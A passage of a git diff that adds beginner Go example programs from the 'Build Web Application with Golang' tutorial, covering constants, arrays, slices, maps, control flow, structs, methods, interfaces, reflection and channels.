fmt.Print(err) + } +} +func show_iota() { + fmt.Println("show_iota()") + const ( + x = iota // x == 0 + y = iota // y == 1 + z = iota // z == 2 + w // If there is no expression after constants name, + // it uses the last expression, so here is saying w = iota implicitly. + // Therefore w == 3, and y and x both can omit "= iota" as well. + ) + + const v = iota // once iota meets keyword `const`, it resets to `0`, so v = 0. + + const ( + e, f, g = iota, iota, iota // e=0,f=0,g=0 values of iota are same in one line. + ) + fmt.Printf("x = %v, y = %v, z = %v, w = %v\n", x, y, z, w) + fmt.Printf("v = %v\n", v) + fmt.Printf("e = %v, f = %v, g = %v\n", e, f, g) +} + +// Functions and variables starting with a capital letter are public to other packages. +// Everything else is private. +func This_is_public() {} +func this_is_private() {} + +func set_default_values() { + // default values for the types. + const ( + a int = 0 + b int8 = 0 + c int32 = 0 + d int64 = 0 + e uint = 0x0 + f rune = 0 // the actual type of rune is int32 + g byte = 0x0 // the actual type of byte is uint8 + h float32 = 0 // length is 4 byte + i float64 = 0 //length is 8 byte + j bool = false + k string = "" + ) +} +func show_arrays() { + fmt.Println("show_arrays()") + var arr [10]int // an array of type int + arr[0] = 42 // array is 0-based + arr[1] = 13 // assign value to element + + a := [3]int{1, 2, 3} // define a int array with 3 elements + + b := [10]int{1, 2, 3} + // define a int array with 10 elements, + // and first three are assigned, rest of them use default value 0. + + c := [...]int{4, 5, 6} // use `…` replace with number of length, Go will calculate it for you. + + // define a two-dimensional array with 2 elements, and each element has 4 elements. + doubleArray := [2][4]int{[4]int{1, 2, 3, 4}, [4]int{5, 6, 7, 8}} + + // You can write about declaration in a shorter way. + easyArray := [2][4]int{{1, 2, 3, 4}, {5, 6, 7, 8}} + + fmt.Println("arr =", arr) + fmt.Printf("The first element is %d\n", arr[0]) // get element value, it returns 42 + fmt.Printf("The last element is %d\n", arr[9]) + //it returns default value of 10th element in this array, which is 0 in this case. + + fmt.Println("array a =", a) + fmt.Println("array b =", b) + fmt.Println("array c =", c) + + fmt.Println("array doubleArray =", doubleArray) + fmt.Println("array easyArray =", easyArray) +} +func show_slices() { + fmt.Println("show_slices()") + // define a slice with 10 elements which types are byte + var ar = [10]byte{'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'} + + // define two slices with type []byte + var a, b []byte + + // a points to elements from 3rd to 5th in array ar. + a = ar[2:5] + // now a has elements ar[2]、ar[3] and ar[4] + + // b is another slice of array ar + b = ar[3:5] + // now b has elements ar[3] and ar[4] + + // define an array + var array = [10]byte{'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'} + // define two slices + var aSlice, bSlice []byte + + // some convenient operations + aSlice = array[:3] // equals to aSlice = array[0:3] aSlice has elements a,b,c + aSlice = array[5:] // equals to aSlice = array[5:10] aSlice has elements f,g,h,i,j + aSlice = array[:] // equals to aSlice = array[0:10] aSlice has all elements + + // slice from slice + aSlice = array[3:7] // aSlice has elements d,e,f,g,len=4,cap=7 + bSlice = aSlice[1:3] // bSlice contains aSlice[1], aSlice[2], so it has elements e,f + bSlice = aSlice[:3] // bSlice contains aSlice[0], aSlice[1], aSlice[2], so it has d,e,f + bSlice = aSlice[0:5] // slcie could be expanded in range of cap, now bSlice contains d,e,f,g,h + bSlice = aSlice[:] // bSlice has same elements as aSlice does, which are d,e,f,g + + fmt.Println("slice ar =", ar) + fmt.Println("slice a =", a) + fmt.Println("slice b =", b) + fmt.Println("array =", array) + fmt.Println("slice aSlice =", aSlice) + fmt.Println("slice bSlice =", bSlice) + fmt.Println("len(bSlice) =", len(bSlice)) +} +func show_map() { + fmt.Println("show_map()") + // use string as key type, int as value type, and you have to use `make` initialize it. + var numbers map[string]int + // another way to define map + numbers = make(map[string]int) + numbers["one"] = 1 // assign value by key + numbers["ten"] = 10 + numbers["three"] = 3 + + // Initialize a map + rating := map[string]float32{"C": 5, "Go": 4.5, "Python": 4.5, "C++": 2} + + fmt.Println("map numbers =", numbers) + fmt.Println("The third number is: ", numbers["three"]) // get values + // It prints: The third number is: 3 + + // map has two return values. For second value, if the key doesn't exist,ok is false,true otherwise. + csharpRating, ok := rating["C#"] + if ok { + fmt.Println("C# is in the map and its rating is ", csharpRating) + } else { + fmt.Println("We have no rating associated with C# in the map") + } + + delete(rating, "C") // delete element with key "c" + fmt.Printf("map rating = %#v\n", rating) +} +func main() { + show_multiple_assignments() + show_bool() + show_different_types() + show_strings() + show_string_manipulation() + show_errors() + show_iota() + set_default_values() + show_arrays() + show_slices() + show_map() +} diff --git a/fa/code/src/apps/ch.2.2/what_is_wrong_with_this/main.go b/fa/code/src/apps/ch.2.2/what_is_wrong_with_this/main.go new file mode 100644 index 000000000..b435f0386 --- /dev/null +++ b/fa/code/src/apps/ch.2.2/what_is_wrong_with_this/main.go @@ -0,0 +1,8 @@ +// Example code for Chapter 2.2 from "Build Web Application with Golang" +// Purpose: Try to fix this program. +// From the console, type `go run main.go` +package main + +func main() { + var i int +} diff --git a/fa/code/src/apps/ch.2.3/basic_functions/main.go b/fa/code/src/apps/ch.2.3/basic_functions/main.go new file mode 100644 index 000000000..6f6a63f4c --- /dev/null +++ b/fa/code/src/apps/ch.2.3/basic_functions/main.go @@ -0,0 +1,26 @@ +// Example code for Chapter 2.3 from "Build Web Application with Golang" +// Purpose: Creating a basic function +package main + +import "fmt" + +// return greater value between a and b +func max(a, b int) int { + if a > b { + return a + } + return b +} + +func main() { + x := 3 + y := 4 + z := 5 + + max_xy := max(x, y) // call function max(x, y) + max_xz := max(x, z) // call function max(x, z) + + fmt.Printf("max(%d, %d) = %d\n", x, y, max_xy) + fmt.Printf("max(%d, %d) = %d\n", x, z, max_xz) + fmt.Printf("max(%d, %d) = %d\n", y, z, max(y, z)) // call function here +} diff --git a/fa/code/src/apps/ch.2.3/hidden_print_methods/main.go b/fa/code/src/apps/ch.2.3/hidden_print_methods/main.go new file mode 100644 index 000000000..0d3df05a3 --- /dev/null +++ b/fa/code/src/apps/ch.2.3/hidden_print_methods/main.go @@ -0,0 +1,14 @@ +// As of Google go 1.1.2, `println()` and `print()` are hidden functions included from the runtime package. +// However it's encouraged to use the print functions from the `fmt` package. +package main + +import "fmt" + +func f() { + fmt.Println("First") + print("Second ") + println(" Third") +} +func main() { + f() +} diff --git a/fa/code/src/apps/ch.2.3/import_packages/main.go b/fa/code/src/apps/ch.2.3/import_packages/main.go new file mode 100644 index 000000000..c4d727560 --- /dev/null +++ b/fa/code/src/apps/ch.2.3/import_packages/main.go @@ -0,0 +1,26 @@ +// Example code for Chapter 2.3 from "Build Web Application with Golang" +// Purpose: Shows different ways of importing a package. +// Note: For the package `only_call_init`, we reference the path from the +// base directory of `$GOPATH/src`. The reason being Golang discourage +// the use of relative paths when import packages. +// BAD: "./only_call_init" +// GOOD: "apps/ch.2.3/import_packages/only_call_init" +package main + +import ( + // `_` will only call init() inside the package only_call_init + _ "apps/ch.2.3/import_packages/only_call_init" + f "fmt" // import the package as `f` + . "math" // makes the public methods and constants global + "mymath" // custom package located at $GOPATH/src/ + "os" // normal import of a standard package + "text/template" // the package takes the name of last folder path, `template` +) + +func main() { + f.Println("mymath.Sqrt(4) =", mymath.Sqrt(4)) + f.Println("E =", E) // references math.E + + t, _ := template.New("test").Parse("Pi^2 = {{.}}") + t.Execute(os.Stdout, Pow(Pi, 2)) +} diff --git a/fa/code/src/apps/ch.2.3/import_packages/only_call_init/only_call_init.go b/fa/code/src/apps/ch.2.3/import_packages/only_call_init/only_call_init.go new file mode 100644 index 000000000..789a6c79d --- /dev/null +++ b/fa/code/src/apps/ch.2.3/import_packages/only_call_init/only_call_init.go @@ -0,0 +1,7 @@ +package only_call_init + +import "fmt" + +func init() { + fmt.Println("only_call_init.init() was called.") +} diff --git a/fa/code/src/apps/ch.2.3/main.go b/fa/code/src/apps/ch.2.3/main.go new file mode 100644 index 000000000..0b3ea566b --- /dev/null +++ b/fa/code/src/apps/ch.2.3/main.go @@ -0,0 +1,142 @@ +// Example code for Chapter 2.3 from "Build Web Application with Golang" +// Purpose: Goes over if, else, switch conditions, loops and defer. +package main + +import "fmt" + +func computedValue() int { + return 1 +} +func show_if() { + fmt.Println("\n#show_if()") + x := computedValue() + integer := 23 + + fmt.Println("x =", x) + fmt.Println("integer =", integer) + if x > 10 { + fmt.Println("x is greater than 10") + } else { + fmt.Println("x is less than 10") + } + + if integer == 3 { + fmt.Println("The integer is equal to 3") + } else if integer < 3 { + fmt.Println("The integer is less than 3") + } else { + fmt.Println("The integer is greater than 3") + } +} +func show_if_var() { + fmt.Println("\n#show_if_var()") + // initialize x, then check if x greater than + if x := computedValue(); x > 10 { + fmt.Println("x is greater than 10") + } else { + fmt.Println("x is less than 10") + } + + // the following code will not compile, since `x` is only accessible with the if/else block + // fmt.Println(x) +} +func show_goto() { + fmt.Println("\n#show_goto()") + // The call to the label switches the goroutine it seems. + i := 0 +Here: // label ends with ":" + fmt.Println(i) + i++ + if i < 10 { + goto Here // jump to label "Here" + } +} +func show_for_loop() { + fmt.Println("\n#show_for_loop()") + sum := 0 + for index := 0; index < 10; index++ { + sum += index + } + fmt.Println("part 1, sum is equal to ", sum) + + sum = 1 + // The compiler will remove the `;` from the line below. + // for ; sum < 1000 ; { + for sum < 1000 { + sum += sum + } + fmt.Println("part 2, sum is equal to ", sum) + + for index := 10; 0 < index; index-- { + if index == 5 { + break // or continue + } + fmt.Println(index) + } + +} +func show_loop_through_map() { + fmt.Println("\n#show_loop_through_map()") + m := map[string]int{ + "one": 1, + "two": 2, + "three": 3, + } + fmt.Println("map value = ", m) + for k, v := range m { + fmt.Println("map's key: ", k) + fmt.Println("map's value: ", v) + } +} +func show_switch() { + fmt.Println("\n#show_switch()") + i := 10 + switch i { + case 1: + fmt.Println("i is equal to 1") + case 2, 3, 4: + fmt.Println("i is equal to 2, 3 or 4") + case 10: + fmt.Println("i is equal to 10") + default: + fmt.Println("All I know is that i is an integer") + } + + integer := 6 + fmt.Println("integer =", integer) + switch integer { + case 4: + fmt.Println("integer == 4") + fallthrough + case 5: + fmt.Println("integer <= 5") + fallthrough + case 6: + fmt.Println("integer <= 6") + fallthrough + case 7: + fmt.Println("integer <= 7") + fallthrough + case 8: + fmt.Println("integer <= 8") + fallthrough + default: + fmt.Println("default case") + } +} +func show_defer() { + fmt.Println("\nshow_defer()") + defer fmt.Println("(last defer)") + for i := 0; i < 5; i++ { + defer fmt.Printf("%d ", i) + } +} +func main() { + show_if() + show_if_var() + show_goto() + show_for_loop() + show_loop_through_map() + show_switch() + show_defer() +} diff --git a/fa/code/src/apps/ch.2.3/panic_and_recover/main.go b/fa/code/src/apps/ch.2.3/panic_and_recover/main.go new file mode 100644 index 000000000..883986687 --- /dev/null +++ b/fa/code/src/apps/ch.2.3/panic_and_recover/main.go @@ -0,0 +1,31 @@ +// Example code for Chapter 2.3 from "Build Web Application with Golang" +// Purpose: Showing how to use `panic()` and `recover()` +package main + +import ( + "fmt" + "os" +) + +var user = os.Getenv("USER") + +func check_user() { + if user == "" { + panic("no value for $USER") + } + fmt.Println("Environment Variable `USER` =", user) +} +func throwsPanic(f func()) (b bool) { + defer func() { + if x := recover(); x != nil { + fmt.Println("Panic message =", x); + b = true + } + }() + f() // if f causes panic, it will recover + return +} +func main(){ + didPanic := throwsPanic(check_user) + fmt.Println("didPanic =", didPanic) +} diff --git a/fa/code/src/apps/ch.2.3/pass_by_value_and_pointer/main.go b/fa/code/src/apps/ch.2.3/pass_by_value_and_pointer/main.go new file mode 100644 index 000000000..1c9e9c755 --- /dev/null +++ b/fa/code/src/apps/ch.2.3/pass_by_value_and_pointer/main.go @@ -0,0 +1,31 @@ +// Example code for Chapter 2.3 from "Build Web Application with Golang" +// Purpose: Shows passing a variable by value and reference +package main + +import "fmt" + +func add_by_value(a int) int { + a = a + 1 + return a +} +func add_by_reference(a *int) int { + *a = *a + 1 + return *a +} +func show_add_by_value() { + x := 3 + fmt.Println("x = ", x) + fmt.Println("add_by_value(x) =", add_by_value(x) ) + fmt.Println("x = ", x) +} +func show_add_by_reference() { + x := 3 + fmt.Println("x = ", x) + // &x pass memory address of x + fmt.Println("add_by_reference(&x) =", add_by_reference(&x) ) + fmt.Println("x = ", x) +} +func main() { + show_add_by_value() + show_add_by_reference() +} diff --git a/fa/code/src/apps/ch.2.3/type_function/main.go b/fa/code/src/apps/ch.2.3/type_function/main.go new file mode 100644 index 000000000..6645d4fe1 --- /dev/null +++ b/fa/code/src/apps/ch.2.3/type_function/main.go @@ -0,0 +1,44 @@ +// Example code for Chapter 2.3 from "Build Web Application with Golang" +// Purpose: Shows how to define a function type +package main + +import "fmt" + +type testInt func(int) bool // define a function type of variable + +func isOdd(integer int) bool { + if integer%2 == 0 { + return false + } + return true +} + +func isEven(integer int) bool { + if integer%2 == 0 { + return true + } + return false +} + +// pass the function `f` as an argument to another function + +func filter(slice []int, f testInt) []int { + var result []int + for _, value := range slice { + if f(value) { + result = append(result, value) + } + } + return result +} +func init() { + fmt.Println("\n#init() was called.") +} +func main() { + slice := []int{1, 2, 3, 4, 5, 7} + fmt.Println("slice = ", slice) + odd := filter(slice, isOdd) // use function as values + fmt.Println("Odd elements of slice are: ", odd) + even := filter(slice, isEven) + fmt.Println("Even elements of slice are: ", even) +} diff --git a/fa/code/src/apps/ch.2.3/variadic_functions/main.go b/fa/code/src/apps/ch.2.3/variadic_functions/main.go new file mode 100644 index 000000000..559222fe9 --- /dev/null +++ b/fa/code/src/apps/ch.2.3/variadic_functions/main.go @@ -0,0 +1,20 @@ +// Example code for Chapter 2.3 from "Build Web Application with Golang" +// Purpose: Shows how to return multiple values from a function +package main + +import "fmt" + +// return results of A + B and A * B +func SumAndProduct(A, B int) (int, int) { + return A + B, A * B +} + +func main() { + x := 3 + y := 4 + + xPLUSy, xTIMESy := SumAndProduct(x, y) + + fmt.Printf("%d + %d = %d\n", x, y, xPLUSy) + fmt.Printf("%d * %d = %d\n", x, y, xTIMESy) +} diff --git a/fa/code/src/apps/ch.2.4/compare_age/main.go b/fa/code/src/apps/ch.2.4/compare_age/main.go new file mode 100644 index 000000000..76772c56d --- /dev/null +++ b/fa/code/src/apps/ch.2.4/compare_age/main.go @@ -0,0 +1,43 @@ +// Example code for Chapter 2.4 from "Build Web Application with Golang" +// Purpose: Shows you how to pass and use structs. +package main + +import "fmt" + +// define a new type +type person struct { + name string + age int +} + +// compare age of two people, return the older person and differences of age +// struct is passed by value +func Older(p1, p2 person) (person, int) { + if p1.age > p2.age { + return p1, p1.age - p2.age + } + return p2, p2.age - p1.age +} + +func main() { + var tom person + + // initialization + tom.name, tom.age = "Tom", 18 + + // initialize two values by format "field:value" + bob := person{age: 25, name: "Bob"} + + // initialize two values with order + paul := person{"Paul", 43} + + tb_Older, tb_diff := Older(tom, bob) + tp_Older, tp_diff := Older(tom, paul) + bp_Older, bp_diff := Older(bob, paul) + + fmt.Printf("Of %s and %s, %s is older by %d years\n", tom.name, bob.name, tb_Older.name, tb_diff) + + fmt.Printf("Of %s and %s, %s is older by %d years\n", tom.name, paul.name, tp_Older.name, tp_diff) + + fmt.Printf("Of %s and %s, %s is older by %d years\n", bob.name, paul.name, bp_Older.name, bp_diff) +} diff --git a/fa/code/src/apps/ch.2.4/embedded_structs/main.go b/fa/code/src/apps/ch.2.4/embedded_structs/main.go new file mode 100644 index 000000000..342e51a5f --- /dev/null +++ b/fa/code/src/apps/ch.2.4/embedded_structs/main.go @@ -0,0 +1,39 @@ +// Example code for Chapter 2.4 from "Build Web Application with Golang" +// Purpose: Example of embedded fields +package main + +import "fmt" + +type Human struct { + name string + age int + weight int +} + +type Student struct { + Human // anonymous field, it means Student struct includes all fields that Human has. + speciality string +} + +func main() { + // initialize a student + mark := Student{Human{"Mark", 25, 120}, "Computer Science"} + + // access fields + fmt.Println("His name is ", mark.name) + fmt.Println("His age is ", mark.age) + fmt.Println("His weight is ", mark.weight) + fmt.Println("His speciality is ", mark.speciality) + // modify notes + mark.speciality = "AI" + fmt.Println("Mark changed his speciality") + fmt.Println("His speciality is ", mark.speciality) + // modify age + fmt.Println("Mark become old") + mark.age = 46 + fmt.Println("His age is", mark.age) + // modify weight + fmt.Println("Mark is not an athlete any more") + mark.weight += 60 + fmt.Println("His weight is", mark.weight) +} diff --git a/fa/code/src/apps/ch.2.4/embedded_structs2/main.go b/fa/code/src/apps/ch.2.4/embedded_structs2/main.go new file mode 100644 index 000000000..9f8e292d4 --- /dev/null +++ b/fa/code/src/apps/ch.2.4/embedded_structs2/main.go @@ -0,0 +1,39 @@ +// Example code for Chapter 2.4 from "Build Web Application with Golang" +// Purpose: Another example of embedded fields +package main + +import "fmt" + +type Skills []string + +type Human struct { + name string + age int + weight int +} + +type Student struct { + Human // struct as embedded field + Skills // string slice as embedded field + int // built-in type as embedded field + speciality string +} + +func main() { + // initialize Student Jane + jane := Student{Human: Human{"Jane", 35, 100}, speciality: "Biology"} + // access fields + fmt.Println("Her name is ", jane.name) + fmt.Println("Her age is ", jane.age) + fmt.Println("Her weight is ", jane.weight) + fmt.Println("Her speciality is ", jane.speciality) + // modify value of skill field + jane.Skills = []string{"anatomy"} + fmt.Println("Her skills are ", jane.Skills) + fmt.Println("She acquired two new ones ") + jane.Skills = append(jane.Skills, "physics", "golang") + fmt.Println("Her skills now are ", jane.Skills) + // modify embedded field + jane.int = 3 + fmt.Println("Her preferred number is", jane.int) +} diff --git a/fa/code/src/apps/ch.2.4/embedded_structs_with_name_conflict/main.go b/fa/code/src/apps/ch.2.4/embedded_structs_with_name_conflict/main.go new file mode 100644 index 000000000..61df16834 --- /dev/null +++ b/fa/code/src/apps/ch.2.4/embedded_structs_with_name_conflict/main.go @@ -0,0 +1,24 @@ +// Example code for Chapter 2.4 from "Build Web Application with Golang" +// Purpose: Shows a name conflict with a embedded field +package main + +import "fmt" + +type Human struct { + name string + age int + phone string // Human has phone field +} + +type Employee struct { + Human // embedded field Human + speciality string + phone string // phone in employee +} + +func main() { + Bob := Employee{Human{"Bob", 34, "777-444-XXXX"}, "Designer", "333-222"} + fmt.Println("Bob's work phone is:", Bob.phone) + // access phone field in Human + fmt.Println("Bob's personal phone is:", Bob.Human.phone) +} diff --git a/fa/code/src/apps/ch.2.4/main.go b/fa/code/src/apps/ch.2.4/main.go new file mode 100644 index 000000000..f6d3a5782 --- /dev/null +++ b/fa/code/src/apps/ch.2.4/main.go @@ -0,0 +1,39 @@ +// Example code for Chapter 2.4 from "Build Web Application with Golang" +// Purpose: Shows different ways of creating a struct +package main + +import "fmt" + +func show_basic_struct() { + fmt.Println("\nshow_basic_struct()") + type person struct { + name string + age int + } + + var P person // p is person type + + P.name = "Astaxie" // assign "Astaxie" to the filed 'name' of p + P.age = 25 // assign 25 to field 'age' of p + fmt.Printf("The person's name is %s\n", P.name) // access field 'name' of p + + tom := person{"Tom", 25} + + bob := person{age: 24, name: "Bob"} + + fmt.Printf("tom = %+v\n", tom) + fmt.Printf("bob = %#v\n", bob) +} +func show_anonymous_struct() { + fmt.Println("\nshow_anonymous_struct()") + fmt.Printf("Anonymous struct = %#v\n", struct { + name string + count int + }{ + "counter", 1, + }) +} +func main() { + show_basic_struct() + show_anonymous_struct() +} diff --git a/fa/code/src/apps/ch.2.5/attach_methods_to_struct/main.go b/fa/code/src/apps/ch.2.5/attach_methods_to_struct/main.go new file mode 100644 index 000000000..cc025a61b --- /dev/null +++ b/fa/code/src/apps/ch.2.5/attach_methods_to_struct/main.go @@ -0,0 +1,36 @@ +// Example code from Chapter 2.5 +// Attach method to struct. +package main + +import ( + "fmt" + "math" +) + +type Rectangle struct { + width, height float64 +} + +type Circle struct { + radius float64 +} + +func (r Rectangle) area() float64 { + return r.width * r.height +} + +func (c Circle) area() float64 { + return c.radius * c.radius * math.Pi +} + +func main() { + r1 := Rectangle{12, 2} + r2 := Rectangle{9, 4} + c1 := Circle{10} + c2 := Circle{25} + + fmt.Println("Area of r1 is: ", r1.area()) + fmt.Println("Area of r2 is: ", r2.area()) + fmt.Println("Area of c1 is: ", c1.area()) + fmt.Println("Area of c2 is: ", c2.area()) +} diff --git a/fa/code/src/apps/ch.2.5/box_example/main.go b/fa/code/src/apps/ch.2.5/box_example/main.go new file mode 100644 index 000000000..c0386729f --- /dev/null +++ b/fa/code/src/apps/ch.2.5/box_example/main.go @@ -0,0 +1,73 @@ +package main + +import "fmt" + +const ( + WHITE = iota + BLACK + BLUE + RED + YELLOW +) + +type Color byte + +type Box struct { + width, height, depth float64 + color Color +} + +type BoxList []Box //a slice of boxes + +func (b Box) Volume() float64 { + return b.width * b.height * b.depth +} + +func (b *Box) SetColor(c Color) { + b.color = c +} + +func (bl BoxList) BiggestsColor() Color { + v := 0.00 + k := Color(WHITE) + for _, b := range bl { + if b.Volume() > v { + v = b.Volume() + k = b.color + } + } + return k +} + +func (bl BoxList) PaintItBlack() { + for i, _ := range bl { + bl[i].SetColor(BLACK) + } +} + +func (c Color) String() string { + strings := []string{"WHITE", "BLACK", "BLUE", "RED", "YELLOW"} + return strings[c] +} + +func main() { + boxes := BoxList{ + Box{4, 4, 4, RED}, + Box{10, 10, 1, YELLOW}, + Box{1, 1, 20, BLACK}, + Box{10, 10, 1, BLUE}, + Box{10, 30, 1, WHITE}, + Box{20, 20, 20, YELLOW}, + } + + fmt.Printf("We have %d boxes in our set\n", len(boxes)) + fmt.Println("The volume of the first one is", boxes[0].Volume(), "cm³") + fmt.Println("The color of the last one is", boxes[len(boxes)-1].color.String()) + fmt.Println("The biggest one is", boxes.BiggestsColor().String()) + + fmt.Println("Let's paint them all black") + boxes.PaintItBlack() + fmt.Println("The color of the second one is", boxes[1].color.String()) + + fmt.Println("Obviously, now, the biggest one is", boxes.BiggestsColor().String()) +} diff --git a/fa/code/src/apps/ch.2.5/embedded_method/main.go b/fa/code/src/apps/ch.2.5/embedded_method/main.go new file mode 100644 index 000000000..ed32c73b5 --- /dev/null +++ b/fa/code/src/apps/ch.2.5/embedded_method/main.go @@ -0,0 +1,31 @@ +package main +import "fmt" + +type Human struct { + name string + age int + phone string +} + +type Student struct { + Human // anonymous field + school string +} + +type Employee struct { + Human + company string +} + +// define a method in Human +func (h *Human) SayHi() { + fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone) +} + +func main() { + mark := Student{Human{"Mark", 25, "222-222-YYYY"}, "MIT"} + sam := Employee{Human{"Sam", 45, "111-888-XXXX"}, "Golang Inc"} + + mark.SayHi() + sam.SayHi() +} diff --git a/fa/code/src/apps/ch.2.5/method_overload/main.go b/fa/code/src/apps/ch.2.5/method_overload/main.go new file mode 100644 index 000000000..c9b2978c7 --- /dev/null +++ b/fa/code/src/apps/ch.2.5/method_overload/main.go @@ -0,0 +1,36 @@ +package main + +import "fmt" + +type Human struct { + name string + age int + phone string +} + +type Student struct { + Human + school string +} + +type Employee struct { + Human + company string +} + +func (h *Human) SayHi() { + fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone) +} + +func (e *Employee) SayHi() { + fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name, + e.company, e.phone) //Yes you can split into 2 lines here. +} + +func main() { + mark := Student{Human{"Mark", 25, "222-222-YYYY"}, "MIT"} + sam := Employee{Human{"Sam", 45, "111-888-XXXX"}, "Golang Inc"} + + mark.SayHi() + sam.SayHi() +} diff --git a/fa/code/src/apps/ch.2.5/pass_struct_to_method/main.go b/fa/code/src/apps/ch.2.5/pass_struct_to_method/main.go new file mode 100644 index 000000000..4096d4bcd --- /dev/null +++ b/fa/code/src/apps/ch.2.5/pass_struct_to_method/main.go @@ -0,0 +1,18 @@ +package main + +import "fmt" + +type Rectangle struct { + width, height float64 +} + +func area(r Rectangle) float64 { + return r.width * r.height +} + +func main() { + r1 := Rectangle{12, 2} + r2 := Rectangle{9, 4} + fmt.Println("Area of r1 is: ", area(r1)) + fmt.Println("Area of r2 is: ", area(r2)) +} diff --git a/fa/code/src/apps/ch.2.6/interface/main.go b/fa/code/src/apps/ch.2.6/interface/main.go new file mode 100644 index 000000000..fc980389d --- /dev/null +++ b/fa/code/src/apps/ch.2.6/interface/main.go @@ -0,0 +1,71 @@ +package main +import "fmt" + +type Human struct { + name string + age int + phone string +} + +type Student struct { + Human + school string + loan float32 +} + +type Employee struct { + Human + company string + money float32 +} + +func (h Human) SayHi() { + fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone) +} + +func (h Human) Sing(lyrics string) { + fmt.Println("La la la la...", lyrics) +} + +func (e Employee) SayHi() { + fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name, + e.company, e.phone) //Yes you can split into 2 lines here. +} + +// Interface Men implemented by Human, Student and Employee +type Men interface { + SayHi() + Sing(lyrics string) +} + +func main() { + mike := Student{Human{"Mike", 25, "222-222-XXX"}, "MIT", 0.00} + paul := Student{Human{"Paul", 26, "111-222-XXX"}, "Harvard", 100} + sam := Employee{Human{"Sam", 36, "444-222-XXX"}, "Golang Inc.", 1000} + Tom := Employee{Human{"Sam", 36, "444-222-XXX"}, "Things Ltd.", 5000} + + // define interface i + var i Men + + //i can store Student + i = mike + fmt.Println("This is Mike, a Student:") + i.SayHi() + i.Sing("November rain") + + //i can store Employee + i = Tom + fmt.Println("This is Tom, an Employee:") + i.SayHi() + i.Sing("Born to be wild") + + // slice of Men + fmt.Println("Let's use a slice of Men and see what happens") + x := make([]Men, 3) + // these three elements are different types but they all implemented interface Men + x[0], x[1], x[2] = paul, sam, mike + + for _, value := range x{ + value.SayHi() + } +} diff --git a/fa/code/src/apps/ch.2.6/reflection/main.go b/fa/code/src/apps/ch.2.6/reflection/main.go new file mode 100644 index 000000000..e0f50f7e9 --- /dev/null +++ b/fa/code/src/apps/ch.2.6/reflection/main.go @@ -0,0 +1,33 @@ +package main + +import ( + "fmt" + "reflect" +) + +func show_interface_none() { + fmt.Println("\nshow_interface_none()") + var a interface{} + a = "string" + a = 1 + a = false + fmt.Println("a =", a) +} +func show_reflection() { + fmt.Println("\nshow_reflection()") + var x float64 = 3.4 + v := reflect.ValueOf(x) + fmt.Println("type:", v.Type()) + fmt.Println("kind is float64:", v.Kind() == reflect.Float64) + fmt.Println("value:", v.Float()) + + p := reflect.ValueOf(&x) + newX := p.Elem() + newX.SetFloat(7.1) + fmt.Println("newX =", newX) + fmt.Println("newX float64() value:", newX.Float()) +} +func main() { + show_interface_none() + show_reflection() +} diff --git a/fa/code/src/apps/ch.2.6/stringer_interface/main.go b/fa/code/src/apps/ch.2.6/stringer_interface/main.go new file mode 100644 index 000000000..310eb0eef --- /dev/null +++ b/fa/code/src/apps/ch.2.6/stringer_interface/main.go @@ -0,0 +1,22 @@ +package main + +import ( + "fmt" + "strconv" +) + +type Human struct { + name string + age int + phone string +} + +// Human implemented fmt.Stringer +func (h Human) String() string { + return "Name:" + h.name + ", Age:" + strconv.Itoa(h.age) + " years, Contact:" + h.phone +} + +func main() { + Bob := Human{"Bob", 39, "000-7777-XXX"} + fmt.Println("This Human is : ", Bob) +} diff --git a/fa/code/src/apps/ch.2.6/switch_type_check/main.go b/fa/code/src/apps/ch.2.6/switch_type_check/main.go new file mode 100644 index 000000000..9d781675e --- /dev/null +++ b/fa/code/src/apps/ch.2.6/switch_type_check/main.go @@ -0,0 +1,38 @@ +package main + +import ( + "fmt" + "strconv" +) + +type Element interface{} +type List []Element + +type Person struct { + name string + age int +} + +func (p Person) String() string { + return "(name: " + p.name + " - age: " + strconv.Itoa(p.age) + " years)" +} + +func main() { + list := make(List, 3) + list[0] = 1 //an int + list[1] = "Hello" //a string + list[2] = Person{"Dennis", 70} + + for index, element := range list { + switch value := element.(type) { + case int: + fmt.Printf("list[%d] is an int and its value is %d\n", index, value) + case string: + fmt.Printf("list[%d] is a string and its value is %s\n", index, value) + case Person: + fmt.Printf("list[%d] is a Person and its value is %s\n", index, value) + default: + fmt.Println("list[%d] is of a different type", index) + } + } +} diff --git a/fa/code/src/apps/ch.2.6/type_check/main.go b/fa/code/src/apps/ch.2.6/type_check/main.go new file mode 100644 index 000000000..bb051f473 --- /dev/null +++ b/fa/code/src/apps/ch.2.6/type_check/main.go @@ -0,0 +1,37 @@ +package main + +import ( + "fmt" + "strconv" +) + +type Element interface{} +type List []Element + +type Person struct { + name string + age int +} + +func (p Person) String() string { + return "(name: " + p.name + " - age: " + strconv.Itoa(p.age) + " years)" +} + +func main() { + list := make(List, 3) + list[0] = 1 // an int + list[1] = "Hello" // a string + list[2] = Person{"Dennis", 70} + + for index, element := range list { + if value, ok := element.(int); ok { + fmt.Printf("list[%d] is an int and its value is %d\n", index, value) + } else if value, ok := element.(string); ok { + fmt.Printf("list[%d] is a string and its value is %s\n", index, value) + } else if value, ok := element.(Person); ok { + fmt.Printf("list[%d] is a Person and its value is %s\n", index, value) + } else { + fmt.Println("list[%d] is of a different type", index) + } + } +} diff --git a/fa/code/src/apps/ch.2.7/buffered_channel/main.go b/fa/code/src/apps/ch.2.7/buffered_channel/main.go new file mode 100644 index 000000000..f65e06f23 --- /dev/null +++ b/fa/code/src/apps/ch.2.7/buffered_channel/main.go @@ -0,0 +1,13 @@ +// Example code for Chapter 2.7 from "Build Web Application with Golang" +// Purpose: Shows how to use a buffered channel +package main + +import "fmt" + +func main() { + c := make(chan int, 2) // change 2 to 1 will have runtime error, but 3 is fine + c <- 1 + c <- 2 + fmt.Println(<-c) + fmt.Println(<-c) +} diff --git a/fa/code/src/apps/ch.2.7/goroutine/main.go b/fa/code/src/apps/ch.2.7/goroutine/main.go new file mode 100644 index 000000000..bdf1f5c1c --- /dev/null +++ b/fa/code/src/apps/ch.2.7/goroutine/main.go @@ -0,0 +1,20 @@ +// Example code for Chapter 2.7 from "Build Web Application with Golang" +// Purpose: Shows how to launch a simple gorountine +package main + +import ( + "fmt" + 